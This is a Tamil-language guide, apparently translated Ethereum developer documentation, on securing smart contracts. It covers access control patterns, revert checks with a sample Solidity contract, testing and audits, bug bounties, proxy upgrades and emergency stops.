திறன் ஒப்பந்தப் பாதுகாப்பு
திறன் ஒப்பந்தங்கள் மிகவும் நெகிழ்வானவை, மேலும் தொகுதிச்சங்கிலியில் நிலைநிறுத்தப்பட்ட குறியீட்டின் அடிப்படையில் மாற்றவியலாத தர்க்கத்தை இயக்கும் அதே வேளையில், அதிக அளவிலான மதிப்பையும் தரவையும் கட்டுப்படுத்தும் திறன் கொண்டவை. இது மரபு அமைப்புகளை விட பல நன்மைகளை வழங்கும் நம்பிக்கை தேவையில்லாத மற்றும் பரவலாக்கப்பட்ட பயன்பாடுகளின் துடிப்பான சுற்றுச்சூழல் அமைப்பை உருவாக்கியுள்ளது. திறன் ஒப்பந்தங்களில் உள்ள பாதிப்புகளைப் பயன்படுத்தி லாபம் ஈட்ட விரும்பும் தாக்குபவர்களுக்கான வாய்ப்புகளையும் அவை பிரதிபலிக்கின்றன.
எத்திரியம் போன்ற பொதுத் தொகுதிச்சங்கிலிகள், திறன் ஒப்பந்தங்களைப் பாதுகாக்கும் சிக்கலை மேலும் கடினமாக்குகின்றன. நிலைநிறுத்தப்பட்ட ஒப்பந்தக் குறியீட்டைப் பாதுகாப்புப் பிழைகளைச் சரிசெய்ய பொதுவாக மாற்ற முடியாது, அதே நேரத்தில் திறன் ஒப்பந்தங்களிலிருந்து திருடப்பட்ட சொத்துக்களைக் கண்காணிப்பது மிகவும் கடினம் மற்றும் மாற்றவியலாமை காரணமாக பெரும்பாலும் மீட்டெடுக்க முடியாதவை.
புள்ளிவிவரங்கள் மாறுபட்டாலும், திறன் ஒப்பந்தங்களில் உள்ள பாதுகாப்புக் குறைபாடுகள் காரணமாகத் திருடப்பட்ட அல்லது இழந்த மதிப்பின் மொத்த அளவு எளிதாக $1 பில்லியனுக்கும் அதிகமாக இருக்கும் என்று மதிப்பிடப்பட்டுள்ளது. இதில் DAO ஹேக் (புதிய தாவலில் திறக்கும்) (3.6M ETH திருடப்பட்டது, இன்றைய விலையில் இதன் மதிப்பு $1B-க்கும் மேல்), Parity பல்கையெழுத்துப் பணப்பை ஹேக் (புதிய தாவலில் திறக்கும்) (ஹேக்கர்களிடம் $30M இழப்பு), மற்றும் Parity முடக்கப்பட்ட பணப்பைச் சிக்கல் (புதிய தாவலில் திறக்கும்) (என்றென்றும் முடக்கப்பட்ட $300M-க்கும் மேலான ETH) போன்ற உயர்மட்டச் சம்பவங்களும் அடங்கும்.
மேற்கூறிய சிக்கல்கள், பாதுகாப்பான, வலுவான மற்றும் மீள்திறன் கொண்ட திறன் ஒப்பந்தங்களை உருவாக்குவதில் டெவலப்பர்கள் முயற்சி எடுப்பதைக் கட்டாயமாக்குகின்றன. திறன் ஒப்பந்தப் பாதுகாப்பு என்பது ஒரு தீவிரமான விஷயமாகும், மேலும் ஒவ்வொரு டெவலப்பரும் இதைக் கற்றுக்கொள்வது நல்லது. இந்த வழிகாட்டி எத்திரியம் டெவலப்பர்களுக்கான பாதுகாப்புக் கருத்தாய்வுகளை உள்ளடக்கும் மற்றும் திறன் ஒப்பந்தப் பாதுகாப்பை மேம்படுத்துவதற்கான ஆதாரங்களை ஆராயும்.
முன்தேவைகள்
பாதுகாப்பைக் கையாளுவதற்கு முன், திறன் ஒப்பந்த மேம்பாட்டின் அடிப்படைகளை நீங்கள் நன்கு அறிந்திருப்பதை உறுதிசெய்யவும்.
பாதுகாப்பான எத்திரியம் திறன் ஒப்பந்தங்களை உருவாக்குவதற்கான வழிகாட்டுதல்கள்
1. சரியான அணுகல் கட்டுப்பாடுகளை வடிவமைக்கவும்
திறன் ஒப்பந்தங்களில், public அல்லது external எனக் குறிக்கப்பட்ட செயல்பாடுகளை எந்தவொரு வெளிப்புறமாக சொந்தமான கணக்கு (EOA) அல்லது ஒப்பந்தக் கணக்குகளாலும் அழைக்க முடியும். மற்றவர்கள் உங்கள் ஒப்பந்தத்துடன் தொடர்பு கொள்ள வேண்டுமெனில், செயல்பாடுகளுக்கு பொதுவான (public) தெரிவுநிலையைக் குறிப்பிடுவது அவசியமாகும். இருப்பினும், private எனக் குறிக்கப்பட்ட செயல்பாடுகளை திறன் ஒப்பந்தத்திற்குள் உள்ள செயல்பாடுகளால் மட்டுமே அழைக்க முடியும், வெளிப்புறக் கணக்குகளால் அல்ல. ஒவ்வொரு பிணையப் பங்கேற்பாளருக்கும் ஒப்பந்தச் செயல்பாடுகளுக்கான அணுகலை வழங்குவது சிக்கல்களை ஏற்படுத்தலாம், குறிப்பாக எவரும் முக்கியமான செயல்பாடுகளைச் செய்ய முடியும் (எ.கா., புதிய வில்லைகளை அச்சிடுதல்) என்றால்.
திறன் ஒப்பந்தச் செயல்பாடுகளின் அங்கீகரிக்கப்படாத பயன்பாட்டைத் தடுக்க, பாதுகாப்பான அணுகல் கட்டுப்பாடுகளைச் செயல்படுத்துவது அவசியமாகும். அணுகல் கட்டுப்பாட்டு வழிமுறைகள், திறன் ஒப்பந்தத்தில் உள்ள சில செயல்பாடுகளைப் பயன்படுத்தும் திறனை, ஒப்பந்தத்தை நிர்வகிக்கும் பொறுப்புள்ள கணக்குகள் போன்ற அங்கீகரிக்கப்பட்ட நிறுவனங்களுக்கு மட்டுமே கட்டுப்படுத்துகின்றன. உரிமையாளர் முறை (Ownable pattern) மற்றும் பங்கு அடிப்படையிலான கட்டுப்பாடு (role-based control) ஆகியவை திறன் ஒப்பந்தங்களில் அணுகல் கட்டுப்பாட்டைச் செயல்படுத்தப் பயன்படும் இரண்டு பயனுள்ள முறைகளாகும்:
உரிமையாளர் முறை (Ownable pattern)
உரிமையாளர் முறையில், ஒப்பந்தத்தை உருவாக்கும் செயல்முறையின் போது ஒரு முகவரி ஒப்பந்தத்தின் “உரிமையாளராக” அமைக்கப்படுகிறது. பாதுகாக்கப்பட்ட செயல்பாடுகளுக்கு OnlyOwner மாற்றியமைப்பான் (modifier) ஒதுக்கப்படுகிறது, இது செயல்பாட்டைச் செயல்படுத்துவதற்கு முன்பு அழைக்கும் முகவரியின் அடையாளத்தை ஒப்பந்தம் அங்கீகரிப்பதை உறுதி செய்கிறது. ஒப்பந்த உரிமையாளரைத் தவிர மற்ற முகவரிகளிலிருந்து பாதுகாக்கப்பட்ட செயல்பாடுகளுக்கான அழைப்புகள் எப்போதும் மீளமைக்கப்படும் (revert), இது தேவையற்ற அணுகலைத் தடுக்கிறது.
பங்கு அடிப்படையிலான அணுகல் கட்டுப்பாடு
ஒரு திறன் ஒப்பந்தத்தில் ஒற்றை முகவரியை Owner ஆகப் பதிவு செய்வது மையப்படுத்தலின் அபாயத்தை அறிமுகப்படுத்துகிறது மற்றும் ஒற்றை தோல்விப் புள்ளியைக் (single point-of-failure) குறிக்கிறது. உரிமையாளரின் கணக்குத் திறவுகோல்கள் சமரசம் செய்யப்பட்டால், தாக்குபவர்கள் அந்த ஒப்பந்தத்தைத் தாக்கலாம். இதனால்தான் பல நிர்வாகக் கணக்குகளைக் கொண்ட பங்கு அடிப்படையிலான அணுகல் கட்டுப்பாட்டு முறையைப் பயன்படுத்துவது சிறந்த தேர்வாக இருக்கலாம்.
பங்கு அடிப்படையிலான அணுகல் கட்டுப்பாட்டில், முக்கியமான செயல்பாடுகளுக்கான அணுகல் நம்பகமான பங்கேற்பாளர்களின் குழுவிற்கு இடையே விநியோகிக்கப்படுகிறது. உதாரணமாக, ஒரு கணக்கு வில்லைகளை அச்சிடுவதற்குப் பொறுப்பாக இருக்கலாம், அதே நேரத்தில் மற்றொரு கணக்கு மேம்படுத்தல்களைச் செய்யலாம் அல்லது ஒப்பந்தத்தை இடைநிறுத்தலாம். இந்த வழியில் அணுகல் கட்டுப்பாட்டைப் பரவலாக்குவது ஒற்றைத் தோல்விப் புள்ளிகளை நீக்குகிறது மற்றும் பயனர்களுக்கான நம்பிக்கை அனுமானங்களைக் குறைக்கிறது.
பல்கையெழுத்துப் பணப்பைகளைப் பயன்படுத்துதல்
பாதுகாப்பான அணுகல் கட்டுப்பாட்டைச் செயல்படுத்துவதற்கான மற்றொரு அணுகுமுறை, ஒப்பந்தத்தை நிர்வகிக்க பல்கையெழுத்துக் கணக்கைப் பயன்படுத்துவதாகும். வழக்கமான EOA-ஐப் போலல்லாமல், பல்கையெழுத்துக் கணக்குகள் பல நிறுவனங்களுக்குச் சொந்தமானவை மற்றும் பரிவர்த்தனைகளைச் செயல்படுத்த குறைந்தபட்ச எண்ணிக்கையிலான கணக்குகளிலிருந்து (உதாரணமாக 5-இல் 3) கையொப்பங்கள் தேவைப்படுகின்றன.
அணுகல் கட்டுப்பாட்டிற்கு பல்கையெழுத்தைப் பயன்படுத்துவது கூடுதல் பாதுகாப்பு அடுக்கை அறிமுகப்படுத்துகிறது, ஏனெனில் இலக்கு ஒப்பந்தத்தின் மீதான செயல்களுக்கு பல தரப்பினரின் ஒப்புதல் தேவைப்படுகிறது. உரிமையாளர் முறையைப் பயன்படுத்துவது அவசியமானால் இது மிகவும் பயனுள்ளதாக இருக்கும், ஏனெனில் இது தாக்குபவர் அல்லது தீங்கிழைக்கும் உள்நபர் முக்கியமான ஒப்பந்தச் செயல்பாடுகளைத் தீய நோக்கங்களுக்காகக் கையாளுவதை மிகவும் கடினமாக்குகிறது.
2. ஒப்பந்தச் செயல்பாடுகளைப் பாதுகாக்க require(), assert(), மற்றும் revert() கூற்றுகளைப் பயன்படுத்தவும்
குறிப்பிட்டுள்ளபடி, உங்கள் திறன் ஒப்பந்தம் தொகுதிச்சங்கிலியில் நிலைநிறுத்தப்பட்டவுடன் எவரும் அதில் உள்ள பொதுவான செயல்பாடுகளை அழைக்கலாம். வெளிப்புறக் கணக்குகள் ஒப்பந்தத்துடன் எவ்வாறு தொடர்பு கொள்ளும் என்பதை உங்களால் முன்கூட்டியே அறிய முடியாது என்பதால், நிலைநிறுத்துவதற்கு முன்பு சிக்கலான செயல்பாடுகளுக்கு எதிராக உள் பாதுகாப்புகளைச் செயல்படுத்துவது சிறந்தது. செயலாக்கம் சில தேவைகளைப் பூர்த்தி செய்யத் தவறினால், விதிவிலக்குகளைத் தூண்டவும் நிலை மாற்றங்களை மீளமைக்கவும் require(), assert(), மற்றும் revert() கூற்றுகளைப் பயன்படுத்துவதன் மூலம் திறன் ஒப்பந்தங்களில் சரியான நடத்தையை நீங்கள் செயல்படுத்தலாம்.
require(): require செயல்பாடுகளின் தொடக்கத்தில் வரையறுக்கப்படுகின்றன மற்றும் அழைக்கப்பட்ட செயல்பாடு செயல்படுத்தப்படுவதற்கு முன்பு முன்வரையறுக்கப்பட்ட நிபந்தனைகள் பூர்த்தி செய்யப்படுவதை உறுதி செய்கின்றன. பயனர் உள்ளீடுகளைச் சரிபார்க்கவும், நிலை மாறிகளைச் சரிபார்க்கவும் அல்லது ஒரு செயல்பாட்டைத் தொடர்வதற்கு முன்பு அழைக்கும் கணக்கின் அடையாளத்தை அங்கீகரிக்கவும் require கூற்றைப் பயன்படுத்தலாம்.
assert(): உங்கள் குறியீட்டில் உள்ள உள் பிழைகளைக் கண்டறியவும், “மாறிலிகளின் (invariants)” மீறல்களைச் சரிபார்க்கவும் assert() பயன்படுத்தப்படுகிறது. மாறிலி என்பது ஒரு ஒப்பந்தத்தின் நிலையைப் பற்றிய தர்க்கரீதியான உறுதிப்பாடாகும், இது அனைத்துச் செயல்பாட்டுச் செயலாக்கங்களுக்கும் உண்மையாக இருக்க வேண்டும். ஒரு வில்லை ஒப்பந்தத்தின் அதிகபட்ச மொத்த வழங்கல் அல்லது இருப்பு என்பது ஒரு மாறிலிக்கு உதாரணமாகும். assert() ஐப் பயன்படுத்துவது உங்கள் ஒப்பந்தம் ஒருபோதும் பாதிக்கப்படக்கூடிய நிலையை அடையாது என்பதை உறுதி செய்கிறது, அவ்வாறு நடந்தால், நிலை மாறிகளுக்கான அனைத்து மாற்றங்களும் திரும்பப் பெறப்படும்.
revert(): தேவையான நிபந்தனை பூர்த்தி செய்யப்படாவிட்டால் விதிவிலக்கைத் தூண்டும் if-else கூற்றில் revert() ஐப் பயன்படுத்தலாம். கீழே உள்ள மாதிரி ஒப்பந்தம் செயல்பாடுகளின் செயலாக்கத்தைப் பாதுகாக்க revert() ஐப் பயன்படுத்துகிறது:
pragma solidity ^0.8.4;
contract VendingMachine {
address owner;
error Unauthorized();
function buy(uint amount) public payable {
if (amount > msg.value / 2 ether)
revert("Not enough Ether provided.");
// கொள்முதலைச் செய்யவும்.
}
function withdraw() public {
if (msg.sender != owner)
revert Unauthorized();
payable(msg.sender).transfer(address(this).balance);
}
}
3. திறன் ஒப்பந்தங்களைச் சோதித்து குறியீட்டின் சரியான தன்மையைச் சரிபார்க்கவும்
எத்தேரியம் மெய்நிகர் இயந்திரத்தில் (EVM) இயங்கும் குறியீட்டின் மாற்றவியலாமை என்பது, திறன் ஒப்பந்தங்கள் மேம்பாட்டு கட்டத்தில் உயர் மட்ட தர மதிப்பீட்டைக் கோருகின்றன என்பதாகும். உங்கள் ஒப்பந்தத்தை விரிவாகச் சோதிப்பது மற்றும் எதிர்பாராத முடிவுகள் ஏதேனும் உள்ளதா எனக் கவனிப்பது பாதுகாப்பை பெருமளவு மேம்படுத்தும் மற்றும் நீண்ட காலத்திற்கு உங்கள் பயனர்களைப் பாதுகாக்கும்.
பயனர்களிடமிருந்து ஒப்பந்தம் பெறும் என எதிர்பார்க்கப்படும் போலித் தரவைப் பயன்படுத்தி சிறிய அலகுச் சோதனைகளை (unit tests) எழுதுவதே வழக்கமான முறையாகும். சில செயல்பாடுகளின் செயல்பாட்டைச் சோதிப்பதற்கும், திறன் ஒப்பந்தம் எதிர்பார்த்தபடி செயல்படுவதை உறுதி செய்வதற்கும் அலகுச் சோதனை சிறந்தது.
துரதிர்ஷ்டவசமாக, தனிமைப்படுத்தப்பட்டுப் பயன்படுத்தப்படும்போது திறன் ஒப்பந்தப் பாதுகாப்பை மேம்படுத்துவதில் அலகுச் சோதனை குறைந்த அளவே பயனுள்ளதாக இருக்கும். போலித் தரவுகளுக்கு ஒரு செயல்பாடு சரியாகச் செயல்படுவதை அலகுச் சோதனை நிரூபிக்கலாம், ஆனால் அலகுச் சோதனைகள் எழுதப்பட்ட சோதனைகளைப் போலவே மட்டுமே பயனுள்ளதாக இருக்கும். இது உங்கள் திறன் ஒப்பந்தத்தின் பாதுகாப்பை உடைக்கக்கூடிய தவறவிடப்பட்ட விளிம்பு நிலைகள் (edge cases) மற்றும் பாதிப்புகளைக் கண்டறிவதைக் கடினமாக்குகிறது.
நிலையான மற்றும் மாறும் பகுப்பாய்வைப் (static and dynamic analysis) பயன்படுத்திச் செய்யப்படும் பண்பு அடிப்படையிலான சோதனையுடன் அலகுச் சோதனையை இணைப்பதே சிறந்த அணுகுமுறையாகும். நிலையான பகுப்பாய்வு, அடையக்கூடிய நிரல் நிலைகள் மற்றும் செயலாக்கப் பாதைகளைப் பகுப்பாய்வு செய்ய கட்டுப்பாட்டு ஓட்ட வரைபடங்கள் (control flow graphs) (புதிய தாவலில் திறக்கும்) மற்றும் சுருக்கத் தொடரியல் மரங்கள் (abstract syntax trees) (புதிய தாவலில் திறக்கும்) போன்ற கீழ்மட்டப் பிரதிநிதித்துவங்களை நம்பியுள்ளது. இதற்கிடையில், திறன் ஒப்பந்த ஃபஸ்ஸிங் (smart contract fuzzing) (புதிய தாவலில் திறக்கும்) போன்ற மாறும் பகுப்பாய்வு நுட்பங்கள், பாதுகாப்புப் பண்புகளை மீறும் செயல்பாடுகளைக் கண்டறிய சீரற்ற உள்ளீட்டு மதிப்புகளுடன் ஒப்பந்தக் குறியீட்டைச் செயல்படுத்துகின்றன.
திறன் ஒப்பந்தங்களில் பாதுகாப்புப் பண்புகளைச் சரிபார்க்க முறைசார் சரிபார்ப்பு என்பது மற்றொரு நுட்பமாகும். வழக்கமான சோதனையைப் போலல்லாமல், முறைசார் சரிபார்ப்பு ஒரு திறன் ஒப்பந்தத்தில் பிழைகள் இல்லை என்பதை உறுதியாக நிரூபிக்க முடியும். விரும்பிய பாதுகாப்புப் பண்புகளைப் படம்பிடிக்கும் ஒரு முறையான விவரக்குறிப்பை உருவாக்குவதன் மூலமும், ஒப்பந்தங்களின் முறையான மாதிரி இந்த விவரக்குறிப்பைப் பின்பற்றுகிறது என்பதை நிரூபிப்பதன் மூலமும் இது அடையப்படுகிறது.
4. உங்கள் குறியீட்டின் சுயாதீன மதிப்பாய்வைக் கோருங்கள்
உங்கள் ஒப்பந்தத்தைச் சோதித்த பிறகு, ஏதேனும் பாதுகாப்புச் சிக்கல்கள் உள்ளதா என மூலக் குறியீட்டைச் சரிபார்க்க மற்றவர்களைக் கேட்பது நல்லது. சோதனையானது திறன் ஒப்பந்தத்தில் உள்ள ஒவ்வொரு குறையையும் வெளிப்படுத்தாது, ஆனால் ஒரு சுயாதீன மதிப்பாய்வைப் பெறுவது பாதிப்புகளைக் கண்டறியும் சாத்தியத்தை அதிகரிக்கிறது.
தணிக்கைகள்
திறன் ஒப்பந்தத் தணிக்கையை நியமிப்பது சுயாதீன குறியீட்டு மதிப்பாய்வை நடத்துவதற்கான ஒரு வழியாகும். திறன் ஒப்பந்தங்கள் பாதுகாப்பானவை மற்றும் தரக் குறைபாடுகள் மற்றும் வடிவமைப்புப் பிழைகள் அற்றவை என்பதை உறுதி செய்வதில் தணிக்கையாளர்கள் முக்கியப் பங்கு வகிக்கின்றனர்.
இருப்பினும், தணிக்கைகளை அனைத்துப் பிரச்சனைகளுக்கும் தீர்வாகக் கருதுவதைத் தவிர்க்க வேண்டும். திறன் ஒப்பந்தத் தணிக்கைகள் ஒவ்வொரு பிழையையும் பிடிக்காது, மேலும் அவை பெரும்பாலும் கூடுதல் மதிப்பாய்வுகளை வழங்கவே வடிவமைக்கப்பட்டுள்ளன, இது ஆரம்ப மேம்பாடு மற்றும் சோதனையின் போது டெவலப்பர்களால் தவறவிடப்பட்ட சிக்கல்களைக் கண்டறிய உதவும். திறன் ஒப்பந்தத் தணிக்கையின் நன்மையை அதிகரிக்க, குறியீட்டைச் சரியாக ஆவணப்படுத்துதல் மற்றும் உள்ளமைக்கப்பட்ட கருத்துகளைச் (inline comments) சேர்த்தல் போன்ற தணிக்கையாளர்களுடன் பணியாற்றுவதற்கான சிறந்த நடைமுறைகளையும் நீங்கள் பின்பற்ற வேண்டும்.
- திறன் ஒப்பந்தத் தணிக்கைக்கான குறிப்புகள் & தந்திரங்கள் (புதிய தாவலில் திறக்கும்) - @tinchoabbate
- உங்கள் தணிக்கையைச் சிறப்பாகப் பயன்படுத்துங்கள் (புதிய தாவலில் திறக்கும்) - Inference
பிழை வெகுமதிகள் (Bug bounties)
பிழை வெகுமதித் திட்டத்தை அமைப்பது வெளிப்புறக் குறியீட்டு மதிப்பாய்வுகளைச் செயல்படுத்துவதற்கான மற்றொரு அணுகுமுறையாகும். பிழை வெகுமதி என்பது ஒரு பயன்பாட்டில் உள்ள பாதிப்புகளைக் கண்டறியும் நபர்களுக்கு (பொதுவாக ஒயிட்ஹாட் ஹேக்கர்கள்) வழங்கப்படும் நிதி வெகுமதியாகும்.
சரியாகப் பயன்படுத்தப்படும்போது, பிழை வெகுமதிகள் ஹேக்கர் சமூகத்தின் உறுப்பினர்களுக்கு உங்கள் குறியீட்டில் உள்ள முக்கியமான குறைபாடுகளை ஆய்வு செய்வதற்கான ஊக்கத்தை அளிக்கின்றன. எத்திரியத்தில் இயங்கும் அடுக்கு 2 (l2) நெறிமுறையான ஆப்டிமிசம் (புதிய தாவலில் திறக்கும்) இல் வரம்பற்ற ஈதரை உருவாக்க தாக்குபவரை அனுமதித்திருக்கக்கூடிய “எல்லையற்ற பணப் பிழை (infinite money bug)” என்பது நிஜ வாழ்க்கை உதாரணமாகும். அதிர்ஷ்டவசமாக, ஒரு ஒயிட்ஹாட் ஹேக்கர் குறைபாட்டைக் கண்டுபிடித்து (புதிய தாவலில் திறக்கும்) குழுவிற்குத் தெரிவித்தார், இந்தச் செயல்முறையில் ஒரு பெரிய தொகையைப் பெற்றார் (புதிய தாவலில் திறக்கும்).
ஆபத்தில் உள்ள நிதியின் அளவிற்கு ஏற்ப பிழை வெகுமதித் திட்டத்தின் செலுத்துதலை அமைப்பது ஒரு பயனுள்ள உத்தியாகும். “அளவிடும் பிழை வெகுமதி (scaling bug bounty) (புதிய தாவலில் திறக்கும்)” என விவரிக்கப்படும் இந்த அணுகுமுறை, தனிநபர்கள் பாதிப்புகளைச் சுரண்டுவதற்குப் பதிலாகப் பொறுப்புடன் வெளிப்படுத்துவதற்கான நிதி ஊக்கங்களை வழங்குகிறது.
5. திறன் ஒப்பந்த மேம்பாட்டின் போது சிறந்த நடைமுறைகளைப் பின்பற்றவும்
தணிக்கைகள் மற்றும் பிழை வெகுமதிகளின் இருப்பு, உயர்தரக் குறியீட்டை எழுதுவதற்கான உங்கள் பொறுப்பிலிருந்து உங்களை விடுவிக்காது. சிறந்த திறன் ஒப்பந்தப் பாதுகாப்பு என்பது சரியான வடிவமைப்பு மற்றும் மேம்பாட்டுச் செயல்முறைகளைப் பின்பற்றுவதில் தொடங்குகிறது:
-
git போன்ற பதிப்புக் கட்டுப்பாட்டு அமைப்பில் (version control system) அனைத்துக் குறியீடுகளையும் சேமிக்கவும்
-
அனைத்துக் குறியீட்டு மாற்றங்களையும் புல் கோரிக்கைகள் (pull requests) மூலம் செய்யவும்
-
புல் கோரிக்கைகளில் குறைந்தபட்சம் ஒரு சுயாதீன மதிப்பாய்வாளர் இருப்பதை உறுதிசெய்யவும்—நீங்கள் ஒரு திட்டத்தில் தனியாக வேலை செய்கிறீர்கள் என்றால், பிற டெவலப்பர்களைக் கண்டுபிடித்து குறியீட்டு மதிப்பாய்வுகளைப் பரிமாறிக்கொள்ளப் பரிசீலிக்கவும்
-
திறன் ஒப்பந்தங்களைச் சோதிக்க, தொகுக்க, நிலைநிறுத்த ஒரு மேம்பாட்டுச் சூழலைப் (development environment) பயன்படுத்தவும்
-
Cyfrin Aderyn (புதிய தாவலில் திறக்கும்), Mythril மற்றும் ஸ்லித்தர் போன்ற அடிப்படைக் குறியீட்டுப் பகுப்பாய்வுக் கருவிகள் மூலம் உங்கள் குறியீட்டை இயக்கவும். ஒவ்வொரு புல் கோரிக்கையும் இணைக்கப்படுவதற்கு முன்பு இதைச் செய்து, வெளியீட்டில் உள்ள வேறுபாடுகளை ஒப்பிடுவது சிறந்தது
-
உங்கள் குறியீடு பிழைகள் இல்லாமல் தொகுக்கப்படுவதையும், Solidity தொகுப்பி (compiler) எந்த எச்சரிக்கைகளையும் வெளியிடவில்லை என்பதையும் உறுதிப்படுத்தவும்
-
உங்கள் குறியீட்டைச் சரியாக ஆவணப்படுத்தவும் (NatSpec (புதிய தாவலில் திறக்கும்) ஐப் பயன்படுத்தி) மற்றும் ஒப்பந்தக் கட்டமைப்பைப் பற்றிய விவரங்களை எளிதில் புரிந்துகொள்ளக்கூடிய மொழியில் விவரிக்கவும். இது மற்றவர்கள் உங்கள் குறியீட்டைத் தணிக்கை செய்வதையும் மதிப்பாய்வு செய்வதையும் எளிதாக்கும்.
6. வலுவான பேரிடர் மீட்புத் திட்டங்களைச் செயல்படுத்தவும்
பாதுகாப்பான அணுகல் கட்டுப்பாடுகளை வடிவமைத்தல், செயல்பாட்டு மாற்றியமைப்பான்களைச் செயல்படுத்துதல் மற்றும் பிற பரிந்துரைகள் திறன் ஒப்பந்தப் பாதுகாப்பை மேம்படுத்தலாம், ஆனால் அவை தீங்கிழைக்கும் சுரண்டல்களின் சாத்தியத்தை நிராகரிக்க முடியாது. பாதுகாப்பான திறன் ஒப்பந்தங்களை உருவாக்குவதற்கு “தோல்விக்குத் தயாராகுதல்” மற்றும் தாக்குதல்களுக்குத் திறம்படப் பதிலளிப்பதற்கான மாற்றுத் திட்டம் தேவை. சரியான பேரிடர் மீட்புத் திட்டம் பின்வரும் கூறுகளில் சில அல்லது அனைத்தையும் உள்ளடக்கியிருக்கும்:
ஒப்பந்த மேம்படுத்தல்கள்
எத்திரியம் திறன் ஒப்பந்தங்கள் இயல்பாகவே மாற்றவியலாதவை என்றாலும், மேம்படுத்தல் முறைகளைப் பயன்படுத்துவதன் மூலம் ஓரளவிற்கு மாற்றவியலும் தன்மையை அடைய முடியும். ஒரு முக்கியமான குறைபாடு உங்கள் பழைய ஒப்பந்தத்தைப் பயன்படுத்த முடியாததாக மாற்றும் மற்றும் புதிய தர்க்கத்தை நிலைநிறுத்துவது மிகவும் சாத்தியமான விருப்பமாக இருக்கும் சந்தர்ப்பங்களில் ஒப்பந்தங்களை மேம்படுத்துவது அவசியமாகும்.
ஒப்பந்த மேம்படுத்தல் வழிமுறைகள் வித்தியாசமாகச் செயல்படுகின்றன, ஆனால் திறன் ஒப்பந்தங்களை மேம்படுத்துவதற்கான மிகவும் பிரபலமான அணுகுமுறைகளில் “பதிலி முறை (proxy pattern)” ஒன்றாகும். பதிலி முறைகள் (புதிய தாவலில் திறக்கும்) ஒரு பயன்பாட்டின் நிலை மற்றும் தர்க்கத்தை இரண்டு ஒப்பந்தங்களுக்கு இடையே பிரிக்கின்றன. முதல் ஒப்பந்தம் (‘பதிலி ஒப்பந்தம்’ என அழைக்கப்படுகிறது) நிலை மாறிகளைச் சேமிக்கிறது (எ.கா., பயனர் இருப்புகள்), அதே நேரத்தில் இரண்டாவது ஒப்பந்தம் (‘தர்க்க ஒப்பந்தம்’ என அழைக்கப்படுகிறது) ஒப்பந்தச் செயல்பாடுகளைச் செயல்படுத்துவதற்கான குறியீட்டைக் கொண்டுள்ளது.
கணக்குகள் பதிலி ஒப்பந்தத்துடன் தொடர்பு கொள்கின்றன, இது delegatecall() (புதிய தாவலில் திறக்கும்) கீழ்மட்ட அழைப்பைப் பயன்படுத்தி அனைத்துச் செயல்பாட்டு அழைப்புகளையும் தர்க்க ஒப்பந்தத்திற்கு அனுப்புகிறது. வழக்கமான செய்தி அழைப்பைப் போலல்லாமல், தர்க்க ஒப்பந்தத்தின் முகவரியில் இயங்கும் குறியீடு அழைக்கும் ஒப்பந்தத்தின் சூழலில் செயல்படுத்தப்படுவதை delegatecall() உறுதி செய்கிறது. இதன் பொருள் தர்க்க ஒப்பந்தம் எப்போதும் பதிலியின் சேமிப்பகத்தில் (அதன் சொந்த சேமிப்பகத்திற்குப் பதிலாக) எழுதும் மற்றும் msg.sender மற்றும் msg.value ஆகியவற்றின் அசல் மதிப்புகள் பாதுகாக்கப்படும்.
தர்க்க ஒப்பந்தத்திற்கு அழைப்புகளை வழங்குவதற்கு அதன் முகவரியைப் பதிலி ஒப்பந்தத்தின் சேமிப்பகத்தில் சேமிக்க வேண்டும். எனவே, ஒப்பந்தத்தின் தர்க்கத்தை மேம்படுத்துவது என்பது மற்றொரு தர்க்க ஒப்பந்தத்தை நிலைநிறுத்துவது மற்றும் புதிய முகவரியைப் பதிலி ஒப்பந்தத்தில் சேமிப்பது மட்டுமே. பதிலி ஒப்பந்தத்திற்கான அடுத்தடுத்த அழைப்புகள் தானாகவே புதிய தர்க்க ஒப்பந்தத்திற்கு அனுப்பப்படுவதால், குறியீட்டை உண்மையில் மாற்றியமைக்காமல் ஒப்பந்தத்தை நீங்கள் “மேம்படுத்தியிருப்பீர்கள்”.
ஒப்பந்தங்களை மேம்படுத்துவது பற்றி மேலும் அறிய.
அவசரகால நிறுத்தங்கள்
குறிப்பிட்டுள்ளபடி, விரிவான தணிக்கை மற்றும் சோதனையால் ஒரு திறன் ஒப்பந்தத்தில் உள்ள அனைத்துப் பிழைகளையும் கண்டறிய முடியாது. நிலைநிறுத்தப்பட்ட பிறகு உங்கள் குறியீட்டில் ஒரு பாதிப்பு தோன்றினால், ஒப்பந்த முகவரியில் இயங்கும் குறியீட்டை உங்களால் மாற்ற முடியாது என்பதால் அதைச் சரிசெய்வது சாத்தியமற்றது. மேலும், மேம்படுத்தல் வழிமுறைகளை (எ.கா., பதிலி முறைகள்) செயல்படுத்த நேரம் ஆகலாம் (அவற்றிற்கு பெரும்பாலும் வெவ்வேறு தரப்பினரின் ஒப்புதல் தேவைப்படும்), இது தாக்குபவர்களுக்கு அதிக சேதத்தை ஏற்படுத்த அதிக நேரத்தை மட்டுமே அளிக்கிறது.
ஒப்பந்தத்தில் உள்ள பாதிக்கப்படக்கூடிய செயல்பாடுகளுக்கான அழைப்புகளைத் தடுக்கும் “அவசரகால நிறுத்த (emergency stop)” செயல்பாட்டைச் செயல்படுத்துவதே இறுதி விருப்பமாகும். அவசரகால நிறுத்தங்கள் பொதுவாகப் பின்வரும் கூறுகளைக் கொண்டிருக்கும்:
-
திறன் ஒப்பந்தம் நிறுத்தப்பட்ட நிலையில் உள்ளதா இல்லையா என்பதைக் குறிக்கும் உலகளாவிய பூலியன் மாறி. ஒப்பந்தத்தை அமைக்கும் போது இந்த மாறி
falseஎன அமைக்கப்படும், ஆனால் ஒப்பந்தம் நிறுத்தப்பட்டவுடன்trueஎன மாறும். -
அவற்றின் செயலாக்கத்தில் பூலியன் மாறியைக் குறிக்கும் செயல்பாடுகள். திறன் ஒப்பந்தம் நிறுத்தப்படாதபோது இத்தகைய செயல்பாடுகளை அணுக முடியும், மேலும் அவசரகால நிறுத்த அம்சம் தூண்டப்படும்போது அணுக முடியாததாகிவிடும்.
-
அவசரகால நிறுத்தச் செயல்பாட்டிற்கான அணுகலைக் கொண்ட ஒரு நிறுவனம், இது பூலியன் மாறியை
trueஎன அமைக்கிறது. தீங்கிழைக்கும் செயல்களைத் தடுக்க, இந்தச் செயல்பாட்டிற்கான அழைப்புகளை நம்பகமான முகவரிக்கு (எ.கா., ஒப்பந்த உரிமையாளர்) கட்டுப்படுத்தலாம்.
